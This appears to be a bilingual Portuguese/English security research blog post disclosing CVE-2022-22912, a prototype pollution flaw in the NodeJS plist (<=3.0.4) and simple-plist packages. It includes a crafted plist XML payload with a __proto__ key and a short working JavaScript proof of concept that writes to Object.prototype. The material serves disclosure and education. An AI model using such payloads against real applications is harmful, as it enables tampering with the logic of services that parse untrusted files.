‹ARES offensive division vulnerability research

Pesquisa de VulnerabilidadeVulnerability Research

Prototype Pollution no plist v3.0.4 e no simple-plist (CVE-2022-22912)Prototype Pollution in plist v3.0.4 and simple-plist (CVE-2022-22912)

Um arquivo plist forjado com uma chave __proto__ faz o parser do pacote escrever no Object.prototype — poluindo todos os objetos do processo NodeJS.A crafted plist file with a __proto__ key makes the package parser write to Object.prototype — polluting every object in the NodeJS process.


CVE ID
CVE-2022-22912
Severity
High · CVSS 7.5
Affected
plist <= 3.0.4 · simple-plist
Vendor
plist.js (TooTallNate) · simple-plist (wollardj)
Disclosure
Researcher
Guilherme Keerok

Plist é um pacote NodeJS pra ler arquivos plist. Arquivos plist são usados mais comumente em sistemas Apple, e a lib, na época em que este post foi escrito, tem 3.492.336 downloads por semana.Plist is a NodeJS package to read plist files. Plist files are most commonly used on Apple systems, and the lib, at the time this post was written, has 3,492,336 weekly downloads.

Não tem nada de novo neste post — prototype pollution já tem um monte de artigo desse tipo, então vou mostrar só esta vulnerabilidade.There's nothing new in this blog post — prototype pollution already has plenty of articles like this, so I'll show just this vulnerability.

ConteúdoContents

Arquivos plist começam com:Plist files start with:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

Você precisa fechar o arquivo com </plist> no final. O que importa de verdade fica no meio do plist:You need to close the file with </plist> at the end. The important part lives in the middle of the plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <key>metadata</key>
    <dict>
      <key>bundle-identifier</key>
      <string>com.company.app</string>
    </dict>
  </plist>

Quando um plist é parseado pela função parse(), o key vai ter um filho, e o dict dentro dele pode ter vários filhos.When a plist is parsed by the parse() function, the key will have one child, and the dict inside it can have many children.

A vulnerabilidadeThe vulnerability

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>__proto__</key>
    <dict>
      <key>length</key>
      <string>polluted</string>
    </dict>
  </dict>
</plist>

Usando o XML acima, o parse vai setar a key na variável key com o valor __proto__.Using the XML above, the parse will set the key on the key variable with the value __proto__.

Debugger showing the key variable set to __proto__ during parsing
A variável key recebe o valor __proto__ vindo do XML.The key variable receives the value __proto__ from the XML.

No final do loop for, essa key vai ser setada no objeto new_obj. Isso também acontece com os filhos do dict — a única diferença é que o dict é um Object com length (key) e polluted (value).At the end of the for loop, this key will be set on the new_obj Object. This also happens to the dict children — the only difference is that the dict is an Object with length (key) and polluted (value).

Debugger showing the dict child object with length key and polluted value being assigned
O dict filho — um Object com length e polluted — sendo atribuído sob a chave __proto__.The child dict — an Object with length and polluted — being assigned under the __proto__ key.

O código PoC completo:The full PoC code:

var plist = require('plist');
var xmlPollution = `
<plist version="1.0">
  <dict>
    <key>__proto__</key>
    <dict>
      <key>length</key>
      <string>polluted</string>
    </dict>
  </dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted

Também encontrei a mesma vulnerabilidade no simple-plist.I also found the same vulnerability in simple-plist.

LinksLinks

  1. simple-plist — issue de prototype pollution.simple-plist — prototype pollution issue. https://github.com/wollardj/simple-plist/issues/60
  2. plist.js — issue de prototype pollution.plist.js — prototype pollution issue. https://github.com/TooTallNate/plist.js/issues/114